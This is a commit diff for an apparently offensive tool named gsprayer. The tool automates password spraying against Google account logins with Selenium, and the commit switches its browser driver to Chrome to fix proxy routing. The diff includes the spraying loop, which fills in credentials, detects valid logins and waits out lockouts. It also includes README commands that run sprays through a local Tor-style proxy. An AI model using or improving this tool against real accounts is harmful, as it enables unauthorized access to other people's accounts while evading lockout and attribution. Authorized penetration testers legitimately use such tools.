Skip to content

Commit a3323f8

Browse files
committed
Replace Gecko for Chrome driver because of proxy issues on the former
1 parent 61073c1 commit a3323f8

File tree

2 files changed

+26
-37
lines changed

2 files changed

+26
-37
lines changed

README.md

+5
Original file line numberDiff line numberDiff line change
@@ -95,6 +95,11 @@ Perform password spraying using a proxy and waiting 30 minutes between each pass
9595
poetry run ./gsprayer.py -r 1 -U emails.txt -P passwords.txt --proxy 127.0.0.1:9050 spray --lockout 30
9696
```
9797

98+
### Note
99+
100+
If you are using a proxy with a protocol other than HTTP, you should specify the schema like `socks5://127.0.0.1:9050`.
101+
102+
98103
## Versioning
99104

100105
We use [SemVer](http://semver.org/) for versioning. For the versions available, see the [tags on this repository](https://github.com/yok4i/gsprayer/tags).

gsprayer.py

+21-37
Original file line numberDiff line numberDiff line change
@@ -30,17 +30,17 @@
3030
from collections import OrderedDict
3131

3232
# Import selenium packages
33-
from selenium.webdriver import Firefox, DesiredCapabilities
33+
from selenium.webdriver import Chrome
3434
from selenium.common.exceptions import TimeoutException, WebDriverException
3535
from selenium.webdriver.support import expected_conditions as EC
3636
from selenium.webdriver.common.by import By
3737
from selenium.webdriver.common.keys import Keys
38+
from selenium.webdriver.common.proxy import Proxy, ProxyType
3839
from selenium.webdriver.support.ui import WebDriverWait
39-
from selenium.webdriver.firefox.options import Options
40-
from selenium.webdriver.firefox.service import Service
41-
from selenium.webdriver.firefox.firefox_profile import FirefoxProfile
40+
from selenium.webdriver.chrome.options import Options
41+
from selenium.webdriver.chrome.service import Service
4242

43-
from webdriver_manager.firefox import GeckoDriverManager
43+
from webdriver_manager.chrome import ChromeDriverManager
4444

4545

4646
# Maspping of element XPATH's in the authentication process
@@ -71,40 +71,23 @@ class text_colors:
7171
class BrowserEngine:
7272

7373
options = Options()
74-
profile = FirefoxProfile()
75-
driver_path = GeckoDriverManager(log_level=0).install()
74+
driver_path = ChromeDriverManager(log_level=0).install()
7675
# Set preferences at the class level
77-
options.set_preference("permissions.default.image", 2) # Supposed to help with memory issues
78-
options.set_preference("dom.ipc.plugins.enabled.libflashplayer.so", False)
79-
options.set_preference("browser.cache.disk.enable", False)
80-
options.set_preference("browser.cache.memory.enable", False)
81-
options.set_preference("browser.cache.offline.enable", False)
82-
options.set_preference("network.http.use-cache", False)
83-
options.set_preference('intl.accept_languages', 'en-US')
76+
options.add_argument("--incognito")
8477
options.accept_untrusted_certs = True
8578

8679
def __init__(self, wait=5, proxy=None, headless=False):
8780
self.options.headless = headless
88-
if headless:
89-
self.options.add_argument("--headless")
9081
if proxy is not None:
91-
print('here')
9282
self.set_proxy(proxy)
93-
self.options.profile = self.profile
94-
self.driver = Firefox(options=self.options, service=Service(self.driver_path))
83+
self.driver = Chrome(options=self.options, service=Service(self.driver_path))
9584
self.driver.set_window_position(0, 0)
9685
self.driver.set_window_size(1024, 768)
9786
self.wait = WebDriverWait(self.driver, wait)
9887

9988
def set_proxy(self, proxy):
10089
if proxy is not None:
101-
ip, port = proxy.split(":")
102-
self.options.set_preference('network.proxy.type', 1)
103-
self.options.set_preference('network.proxy.http', ip)
104-
self.options.set_preference('network.proxy.http_port', int(port))
105-
#self.options.set_preference('network.proxy.https', ip)
106-
#self.options.set_preference('network.proxy.https_port', int(port))
107-
self.options.update_preferences()
90+
self.options.add_argument('--proxy-server=%s' % proxy)
10891

10992
def quit(self):
11093
self.driver.quit()
@@ -122,7 +105,6 @@ def clear_cookies(self):
122105
self.driver.delete_all_cookies()
123106

124107
def get(self, url):
125-
print(self.options)
126108
self.driver.get(url)
127109

128110
def find_element(self, type_, value):
@@ -210,7 +192,7 @@ def lockout_reset_wait(lockout):
210192
sleep(lockout * 60)
211193

212194
def reset_browser(browser, wait, proxy, headless):
213-
browser.close()
195+
browser.quit()
214196
return BrowserEngine(wait=wait, proxy=proxy)
215197

216198

@@ -303,8 +285,16 @@ def spray(args, username_list, password_list):
303285

304286
for username in username_list:
305287

288+
if counter >= args.reset_after:
289+
browser = reset_browser(browser, args.wait,
290+
args.proxy, args.headless) # Reset the browser to deal with latency issues
291+
counter = 0
292+
293+
306294
print("[*] Current username: %s" % username)
307295

296+
counter += 1
297+
308298
# This seems to helps with memory issues...
309299
browser.clear_cookies()
310300

@@ -328,8 +318,9 @@ def spray(args, username_list, password_list):
328318
if not usernamefield:
329319
print("%s[Error] %s%s" % (text_colors.red, "Username field not found",
330320
text_colors.reset))
331-
else:
332-
browser.populate_element(usernamefield, username)
321+
continue
322+
323+
browser.populate_element(usernamefield, username)
333324
# Find button and click it
334325
element = elements["button_next"]
335326
try:
@@ -350,7 +341,6 @@ def spray(args, username_list, password_list):
350341
# Remove from list
351342
username_list.remove(username)
352343
invalid += 1 # Keep track so the user knows they need to run enum
353-
counter += 1
354344

355345
else:
356346
# Populate the password field and click 'Sign In'
@@ -375,13 +365,7 @@ def spray(args, username_list, password_list):
375365
else:
376366
print("%s[Invalid Creds] %s:%s%s" % (text_colors.red, username, password, text_colors.reset))
377367

378-
counter += 1
379-
380368

381-
if counter >= args.reset_after:
382-
browser = reset_browser(browser, args.wait,
383-
args.proxy, args.headless) # Reset the browser to deal with latency issues
384-
counter = 0
385369

386370
# Wait for lockout period if not last password
387371
if index != last_index:

0 commit comments

Comments
 (0)